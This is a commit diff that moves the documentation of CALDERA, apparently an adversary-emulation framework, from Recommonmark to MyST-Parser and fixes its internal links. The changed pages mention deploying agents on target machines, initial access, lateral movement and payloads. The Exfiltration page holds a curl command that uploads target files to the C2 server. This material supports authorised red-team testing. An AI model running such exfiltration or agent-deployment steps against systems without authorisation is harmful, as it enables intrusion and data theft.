Switch Markdown parser from Recommonmark to MyST-Parser (#104)

* Switch recommonmark for MyST-Parser

* Fix several broken links

Also remove reference to video that no longer exists.

* Fix file extensions in links to .md

MyST-Parser requires links to be defined for .md files, which will be
converted to .html by sphinx.

This change also allows links to work when viewing the .md files on
GitHub in a web browser.

* Unwrap markdown table

MyST-Parser can display markdown tables correctly, unlike Recommonmark.

sphinx-docs/Basic-Usage.md

@@ -17,13 +17,13 @@ To deploy an agent:
     - `agent.extensions` takes in a comma-separated list of agent extensions to compile with your agent binary.
     When selecting the associated deployment command, this will instruct the C2 server to compile the agent binary with the 
     requested extensions, if they exist. If you just want a basic agent without extensions, leave this field blank.
-    See [Sandcat extension documentation](plugins/sandcat/Sandcat-Details.html#extensions) for more information on Sandcat
+    See [Sandcat extension documentation](plugins/sandcat/Sandcat-Details.md#extensions) for more information on Sandcat
     extensions.
 1. Choose a command to execute on the target machine. If you want your agent to be compiled with the
  extensions from `agent.extensions`, you must select the associated deployment command below: 
  `Compile red-team agent with a comma-separated list of extensions (requires GoLang).`
 1. On the target machine, paste the command into the terminal or PowerShell window and execute it
-1. The new agent should appear in the table in the Agents tab (if the agent does not appear, check the [Agent Deployment section of the Troubleshooting page](Troubleshooting.html#agent-deployment))
+1. The new agent should appear in the table in the Agents tab (if the agent does not appear, check the [Agent Deployment section of the Troubleshooting page](Troubleshooting.md#agent-deployment))
 
 To kill an agent, use the "Kill Agent" button under the agent-specific settings. The agent will terminate on its next beacon.
 

sphinx-docs/Dynamically-Compiled-Payloads.md

@@ -1,6 +1,6 @@
 # Dynamically-Compiled Payloads
 
-The [Builder](Plugin-library.html#builder) plugin can be used to create dynamically-compiled payloads. Currently, the plugin supports C#, C, C++, and Golang.
+The [Builder](Plugin-library.md#builder) plugin can be used to create dynamically-compiled payloads. Currently, the plugin supports C#, C, C++, and Golang.
 
 Code is compiled in a Docker container. The resulting executable, along with any additional references, will be copied to the remote machine and executed.
 

sphinx-docs/Exfiltration.md

@@ -1,6 +1,6 @@
 # Exfiltration
 
-After completing an operation a user may want to review the data retreived from the target system. This data is automatically stored on the CALDERA server in a directory specified in [/conf/default.yml](Server-Configuration.html#configuration-file).
+After completing an operation a user may want to review the data retreived from the target system. This data is automatically stored on the CALDERA server in a directory specified in [/conf/default.yml](Server-Configuration.md#configuration-file).
 
 ## Exfiltrating Files
 
@@ -9,11 +9,11 @@ Some abilities will transfer files from the agent to the CALDERA server. This ca
 curl -X POST -F 'data=@/file/path/' http://server_ip:8888/file/upload
 ```
 Note: localhost could be rejected in place of the server IP. In this case you will get error 7. You should type out the full IP.
-These files are sent from the agent to server_ip/file/upload at which point the server places these files inside the directory specified by [/conf/default.yml to key "exfil_dir"](Server-Configuration.html#configuration-file). By default it is set to /tmp/caldera
+These files are sent from the agent to server_ip/file/upload at which point the server places these files inside the directory specified by [/conf/default.yml to key "exfil_dir"](Server-Configuration.md#configuration-file). By default it is set to `/tmp/caldera`.
 
 ## Accessing Exfiltrated Files
 
-The server stores all exfiltrated files inside the directory specified by [/conf/default.yml to key "exfil_dir"](Server-Configuration.html#configuration-file). By default it is set to /tmp/caldera
+The server stores all exfiltrated files inside the directory specified by [/conf/default.yml to key "exfil_dir"](Server-Configuration.md#configuration-file). By default it is set to `/tmp/caldera`.
 
 Files can be accessed by pulling them directly from that location when on the server and manually unencrypting the files.
 
@@ -25,7 +25,7 @@ All downloaded files will be unencrypted before passing along as a download.
 
 ## Accessing Operations Reports
 
-After the server is shut down the reports from operations are placed inside the directory specified by the [/conf/default.yml to key "reports_dir"](Server-Configuration.html#configuration-file). By default it is also set to /tmp
+After the server is shut down the reports from operations are placed inside the directory specified by the [/conf/default.yml to key "reports_dir"](Server-Configuration.md#configuration-file). By default it is also set to `/tmp`.
 
 
 ## Unencrypting the files

sphinx-docs/How-to-Build-Planners.md

@@ -172,7 +172,7 @@ class LogicalPlanner:
 
 ## Advanced Fact Usage
 
-In addition to the basic (name, value) information present in facts and documented in [Basic Usage](Basic-Usage.html#facts), there are some additional fields that may prove useful when developing and working with planners.
+In addition to the basic (name, value) information present in facts and documented in [Basic Usage](Basic-Usage.md#facts), there are some additional fields that may prove useful when developing and working with planners.
 
 #### Fact Origins
 

sphinx-docs/Initial-Access-Attacks.md

@@ -1,6 +1,6 @@
 # Initial Access Attacks
 
-CALDERA allows for easy initial access attacks, by leveraging the [Access](Plugin-library.html#access) plugin. This guide will walk you through how
+CALDERA allows for easy initial access attacks, by leveraging the [Access](Plugin-library.md#access) plugin. This guide will walk you through how
 to fire off an initial access attack, as well as how to build your own. 
 
 ## Run an initial access technique
@@ -67,4 +67,4 @@ for a run-through of all the fields.
 
 ### Run the ability
 
-With your ability YML file loaded, restart CALDERA and head to the Access plugin to run it.
+With your ability YML file loaded, restart CALDERA and head to the Access plugin to run it.

sphinx-docs/Installing-CALDERA.md

@@ -60,7 +60,7 @@ Next, install the pip requirements:
 sudo pip3 install -r requirements.txt
 ```
 
-Finally, start the server (optionally with startup [flags](Server-Configuration.html#startup-parameters) for additional logging):
+Finally, start the server (optionally with startup [flags](Server-Configuration.md#startup-parameters) for additional logging):
 
 ```sh
 python3 server.py
@@ -93,7 +93,7 @@ Alternatively, you can use the `docker-compose.yml` file by running:
 docker-compose build
 ```
 
-Finally, run the docker CALDERA server, changing port forwarding as required.  More information on CALDERA's configuration is [available here](Server-Configuration.html#configuration-file).
+Finally, run the docker CALDERA server, changing port forwarding as required.  More information on CALDERA's configuration is [available here](Server-Configuration.md#configuration-file).
 
 ```sh
 docker run -p 7010:7010 -p 7011:7011/udp -p 7012:7012 -p 8888:8888 caldera:server

sphinx-docs/Lateral-Movement-Guide.md

@@ -75,9 +75,9 @@ host, which moved laterally to the `VAGRANTDC` machine via successful execution
 
 This capability relies on the `origin_link_id` field to be populated within the agent profile upon first
 check-in and is currently implemented for the default agent, Sandcat. For more information about the `#{origin_link_id}`
-global variable, see the explanation of **Command** in the [What is an Ability?](Learning-the-terminology.html#abilities-and-adversaries)
+global variable, see the explanation of **Command** in the [What is an Ability?](Learning-the-terminology.md#abilities-and-adversaries)
 section of the Learning the Terminology guide. For more information about how lateral movement tracking is implemented 
-in agents to be used with CALDERA, see the [Lateral Movement Tracking](How-to-Build-Agents.html#lateral-movement-tracking) 
+in agents to be used with CALDERA, see the [Lateral Movement Tracking](How-to-Build-Agents.md#lateral-movement-tracking) 
 section of the How to Build Agents guide.
 
 

sphinx-docs/Relationships.md

@@ -31,13 +31,13 @@ This ability will view the printer queue using the command `lpq -a`. The result
 
 ### Multiple Instances of a Fact
 Storing the relationship between the `source` and the `target` in the `edge` allows CALDERA to save several instances of each fact while maintaining the connection between facts. For example, if the printer discovery ability (shown above) is run, and several files are discovered in the printer queue, the following facts may be created. 
-```
-| host.print.file | host.print.size (bytes) | 
-| --------------- | ----------------------- | 
-| essay.docx      | 12288                   | 
+
+| host.print.file | host.print.size (bytes) |
+| --------------- | ----------------------- |
+| essay.docx      | 12288                   |
 | image-1.png     | 635000                  |
-| Flier.pdf       | 85300                   | 
-```
+| Flier.pdf       | 85300                   |
+
 The table above shows how each `host.print.file` value is associated with exactly one `host.print.size` value. This demonstrates the importance of the `edge`; it maintains the association between each pair of `source` and `target` values. Without the `edge`, we would just have a list of values but no information about their relationships, similar to the following:
 
 - `host.print.file`: `essay.docx`, `image-1.png`, `Flier.pdf`
@@ -52,4 +52,4 @@ Note that the `edge` and the `target` are optional. You can create a `source` as
 ## Creating Relationships using CALDERA Server
 Relationships can also be created in the CALDERA Server GUI. Use the left sidebar to navigate to "fact sources." Then, click "relationships" followed by "new relationship." You can fill in  values for the `edge`, `source`, and `target` to be used in future operations. Then click "Save" to finish!
 
-![fact relationships](img/fact_relationships.png)
+![fact relationships](img/fact_relationships.png)

sphinx-docs/conf.py

@@ -2,7 +2,6 @@
 import pathlib
 
 import sphinx.ext.apidoc as apidoc
-from recommonmark.parser import CommonMarkParser
 
 caldera_root_dir = pathlib.Path('../../..').absolute()
 sys.path.insert(0, str(caldera_root_dir))
@@ -15,12 +14,6 @@ def visit_document(*_):
     pass
 
 
-# Removes irrelevant warning messages during md file parsing.
-# REF: https://github.com/readthedocs/recommonmark/issues/177
-# Hopefully will be unnecessary in the future (when recommonmark > 0.6.0 exists)
-setattr(CommonMarkParser, 'visit_document', visit_document)
-
-
 # Call sphinx-apidoc to generate stub files from our source code.
 # -o generated: output rst stubs to this directory
 # --implicit-namespaces: will find modules in packages without explicit __init__.py
@@ -48,7 +41,7 @@ def visit_document(*_):
 # -- General configuration ---------------------------------------------------
 extensions = [
     'sphinx.ext.autodoc',
-    'recommonmark',
+    'myst_parser',
 ]
 
 exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']
@@ -58,3 +51,8 @@ def visit_document(*_):
 # -- Options for HTML output -------------------------------------------------
 
 html_theme = 'sphinx_rtd_theme'
+
+# -- MyST Parser configuration -----------------------------------------------
+
+suppress_warnings = ["myst.header"]
+myst_heading_anchors = 4